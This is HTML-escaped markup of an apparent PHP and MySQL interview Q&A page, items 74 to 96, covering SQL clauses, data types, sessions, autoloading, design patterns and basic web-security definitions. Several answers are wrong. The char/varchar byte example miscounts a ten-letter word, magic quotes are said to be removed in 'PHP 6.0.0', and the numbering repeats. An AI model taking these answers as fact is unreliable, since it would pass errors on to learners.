&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 74&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What are the advantages/disadvantages of MySQL and PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 74&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Both of them are open source software (so free of cost), support&lt;br /&gt;
cross platform. php is faster then ASP and JSP.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 80&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between GROUP BY and ORDER BY in Sql? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 80&lt;/b&gt;&lt;/td&gt; &lt;td&gt;ORDER BY [col1],[col2],â€¦,[coln]; Tels DBMS according to what columns&lt;br /&gt;
it should sort the result. If two rows will hawe the same value in col1&lt;br /&gt;
it will try to sort them according to col2 and so on.GROUP BY&lt;br /&gt;
[col1],[col2],â€¦,[coln]; Tels DBMS to group results with same value of&lt;br /&gt;
column col1. You can use COUNT(col1), SUM(col1), AVG(col1) with it, if&lt;br /&gt;
you want to count all items in group, sum all values or view average&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 76&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the difference between char and varchar data types? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 76&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Set char to occupy n bytes and it will take n bytes even if u r&lt;br /&gt;
storing a value of n-m bytes&lt;br /&gt;
Set varchar to occupy n bytes and it will take only the required space&lt;br /&gt;
and will not use the n bytes&lt;br /&gt;
eg. name char(15) will waste 10 bytes if we store &#39;romharshan&#39;, if each char&lt;br /&gt;
takes a byte&lt;br /&gt;
eg. name varchar(15) will just use 5 bytes if we store &#39;romharshan&#39;, if each&lt;br /&gt;
char takes a byte. rest 10 bytes will be free.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 77&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;What is the functionality of md5 function in PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 77&lt;/b&gt;&lt;/td&gt; &lt;td&gt;Calculate the md5 hash of a string. The hash is a 32-character&lt;br /&gt;
hexadecimal number. I use it to generate keys which I use to identify&lt;br /&gt;
users etc. If I add random no techniques to it the md5 generated now&lt;br /&gt;
will be totally different for the same string I am using.&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 78&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can I load data from a text file into a table? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 78&lt;/b&gt;&lt;/td&gt; &lt;td&gt;you can use LOAD DATA INFILE  file_name; syntax to load data&lt;br /&gt;
from a text file. but you have to make sure thata) data is delimited&lt;br /&gt;
b) columns and data matched correctly&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 79&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we know the number of days between two given dates using&lt;br /&gt;
MySQL? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 79&lt;/b&gt;&lt;/td&gt; &lt;td&gt;SELECT DATEDIFF(&quot;2007-03-07&quot;,&quot;2005-01-01&quot;);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 80&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How can we know the number of days between two given dates using PHP? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 80&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;$date1 = date(&quot;Y-m-d&quot;);&lt;br /&gt;
$date2 = &quot;2006-08-15&quot;;&lt;br /&gt;
$days = (strtotime($date1) - strtotime($date2)) / (60 * 60 * 24);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 81&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How we load all classes that placed in different directory   in one PHP  File , means how to do  auto load classes  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 81&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;&lt;br /&gt;
by using spl_autoload_register(&#39;autoloader::funtion&#39;);&lt;br /&gt;
Like below &lt;br /&gt;
class autoloader&lt;br /&gt;
{&lt;br /&gt;
public static function moduleautoloader($class)&lt;br /&gt;
{&lt;br /&gt;
$path = $_SERVER[&#39;DOCUMENT_ROOT&#39;] . &quot;/modules/{$class}.php&quot;;&lt;br /&gt;
if (is_readable($path)) require $path;&lt;br /&gt;
}&lt;br /&gt;
public static function daoautoloader($class)&lt;br /&gt;
{&lt;br /&gt;
$path = $_SERVER[&#39;DOCUMENT_ROOT&#39;] . &quot;/dataobjects/{$class}.php&quot;;&lt;br /&gt;
if (is_readable($path)) require $path;&lt;br /&gt;
}&lt;br /&gt;
public static function includesautoloader($class)&lt;br /&gt;
{&lt;br /&gt;
$path = $_SERVER[&#39;DOCUMENT_ROOT&#39;] . &quot;/includes/{$class}.php&quot;;&lt;br /&gt;
if (is_readable($path)) require $path;&lt;br /&gt;
}&lt;br /&gt;
}&lt;br /&gt;
spl_autoload_register(&#39;autoloader::includesautoloader&#39;);&lt;br /&gt;
spl_autoload_register(&#39;autoloader::daoautoloader&#39;);&lt;br /&gt;
spl_autoload_register(&#39;autoloader::moduleautoloader&#39;);&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 82&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;How many types of Inheritances used in PHP and how we achieve it  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answer : 82&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;As far PHP concern it only support single Inheritance in   scripting.&lt;br /&gt;
we can also use interface to achieve multiple inheritance.   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 83&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;PHP how to know user has read the email?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 83&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Using Disposition-Notification-To: in mailheader we can get read receipt.&lt;br /&gt;
Add the possibility to define a read receipt when sending an email.&lt;br /&gt;
Itâ€™s quite straightforward, just edit email.php, and add this at vars definitions:&lt;br /&gt;
var $readReceipt = null;&lt;br /&gt;
And then, at â€˜createHeaderâ€™ function add:&lt;br /&gt;
if (!empty($this-&amp;gt;readReceipt)) { &lt;br /&gt;
$this-&amp;gt;__header .=  â€˜Disposition-Notification-To: â€˜ .   $this-&amp;gt;__formatAddress($this-&amp;gt;readReceipt) . $this-&amp;gt;_newLine; &lt;br /&gt;
}   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 84&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt; What are default session time and path?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 84&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;default session time in PHP is 1440 seconds or 24 minutes&lt;br /&gt;
Default session save path id temporary folder /tmp &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 85&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;how to track user logged out or not? when user is idle ? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 85&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;By  checking the session variable exist or not while loading th page.  As  the session will exist longer as till browser closes. The default  behaviour for sessions is to keep a session  open indefinitely and only  to expire a session when the browser  is closed. This behaviour can be  changed in the php.ini file by  altering the line  session.cookie_lifetime = 0 to a value in seconds.  If you wanted the  session to finish in 5 minutes you would set this  to  session.cookie_lifetime = 300 and restart your httpd server.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 86&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;how to track no of user logged in ?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 86&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;whenever  a user logs in track the IP, userID etc..and  store it in a DB with a  active flag while log out or  sesion expire make it inactive. At any  time by counting  the no: of active records we can get the no: of  visitors.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 87&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;in PHP for pdf which library used?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 87&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;The  PDF functions in PHP can create PDF files using the PDFlib library With  version 6,  PDFlib offers an object-oriented API for PHP 5 in addition  to the function-oriented  API for PHP 4. There is also the Â» Panda  module. FPDF is a PHP class which allows to generate PDF files with pure  PHP, that is to  say without using the PDFlib library. F from FPDF  stands for Free: you may use it  for any kind of usage and modify it to  suit your needs. FPDF requires no extension (except zlib to activate  compression  and GD for GIF support) and works with PHP4 and PHP5.   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 88&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;for image work which library? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 88&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;we  will need to compile PHP with the GD library of image functions  for  this to work. GD and PHP may also require other libraries,  depending on  which image formats you want to work with. &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 89&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is design pattern? singleton pattern?&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 89&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;A design pattern is a general reusable solution to a commonly occurring problem in software design.&lt;br /&gt;
The Singleton design pattern allows many parts of a program to share a  single resource without having  to work out the details of the sharing  themselves.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 90&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what are magic methods? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 90&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Magic  methods are the members functions that is available to all the instance  of class  Magic methods always starts with &quot;__&quot;. Eg. __construct  All  magic methods needs to be declared as public To use magic method they  should be   defined within the class or program scope Various Magic  Methods used in PHP 5 are:  __construct() __destruct() __set() __get()  __call() __toString() __sleep() __wakeup()   __isset() __unset()  __autoload() __clone()  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 91&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is magic quotes?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 91&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Magic  Quotes is a process that automagically escapes  ncoming data to the PHP  script. Itâ€™s preferred to code  with magic quotes off and to instead  escape the data at runtime,  as needed. This feature has been DEPRECATED  as of PHP 5.3.0 and   REMOVED as of PHP 6.0.0. Relying on this feature  is highly discouraged.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 92&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is cross site scripting? SQL injection? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 92&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Cross-site  scripting (XSS) is a type of computer security vulnerability  typically  found in web applications which allow code injection by malicious  web  users into the web pages viewed by other users. Examples of such code  include  HTML code and client-side scripts. SQL injection is a code  injection technique that exploits a security vulnerability  occurring in  the database layer of an application. The vulnerability is present when    user input is either incorrectly filtered for string literal escape  characters embedded  in SQL statements or user input is not strongly  typed and thereby unexpectedly executed   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 93&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is URL rewriting?&lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 93&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Using  URL rewriting we can convert dynamic URl to static URL Static URLs  are  known to be better than Dynamic URLs because of a number of reasons 1.   Static URLs typically Rank better in Search Engines. 2. Search Engines  are   known to index the content of dynamic pages a lot slower compared  to static  pages. 3. Static URLs are always more friendlier looking to  the End Users. along with this we can use URL rewriting in adding  variables [cookies] to the  URL to handle the sessions.  &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 94&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is the major php security hole? how to avoid? &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 94&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;1. Never include, require, or otherwise open a file with a filename based  on user input, without thoroughly checking it first. &lt;br /&gt;
2. Be careful with eval() Placing user-inputted values into the eval()   function can be extremely dangerous. You essentially give the malicious    user the ability to execute any command he or she wishes!  &lt;br /&gt;
3. Be careful when using register_globals = ON It was originally   designed to make programming in PHP easier (and that it did),  but  misuse of it often led to security holes  &lt;br /&gt;
4. Never run unescaped queries  &lt;br /&gt;
5. For protected areas, use sessions or validate the login every time.  &lt;br /&gt;
6. If you donâ€™t want the file contents to be seen, give the file a .php extension. &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 95&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;whether PHP supports Microsoft SQL server ?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 95&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;The  SQL Server Driver for PHP v1.0 is designed to enable reliable,   scalable integration with SQL Server for PHP applications deployed  on  the Windows platform. The Driver for PHP is a PHP 5 extension  that  allows the reading and writing of  SQL Server data from within PHP  scripts. using MSSQL or  ODBC modules we can access Microsoft SQL  server. &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; bgcolor=&quot;&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Questions : 96&lt;/b&gt;&lt;/td&gt; &lt;td bgcolor=&quot;&quot;&gt;&lt;b&gt;what is MVC? why its been used?  &lt;/b&gt;&lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; height=&quot;24&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;b&gt;Answers : 96&lt;/b&gt;&lt;/td&gt; &lt;td height=&quot;24&quot;&gt;Model-view-controller  (MVC) is an architectural pattern used in software  engineering.  Successful use of the pattern isolates business logic from  user  interface considerations, resulting in an application where it is   easier to modify either the visual appearance of the application or the   underlying business rules without affecting the other. In MVC, the  model  represents the information (the data) of the application; the  view  corresponds to elements of the user interface such as text,  checkbox  items, and so forth; and the controller manages the  communication of data  and the business rules used to manipulate the  data to and from the model. WHY ITS NEEDED IS 1 Modular separation of  function 2 Easier to maintain 3  View-Controller separation means:&lt;br /&gt;
A â€” Tweaking design (HTML) without altering code B â€” Web design staff can  modify UI without understanding code   &lt;/td&gt; &lt;/tr&gt;
&lt;tr&gt; &lt;td align=&quot;left&quot; nowrap=&quot;nowrap&quot; valign=&quot;top&quot; width=&quot;80&quot;&gt;&lt;br /&gt;
&lt;/td&gt; &lt;td&gt;&lt;br /&gt;
&lt;/td&gt; &lt;/tr&gt;
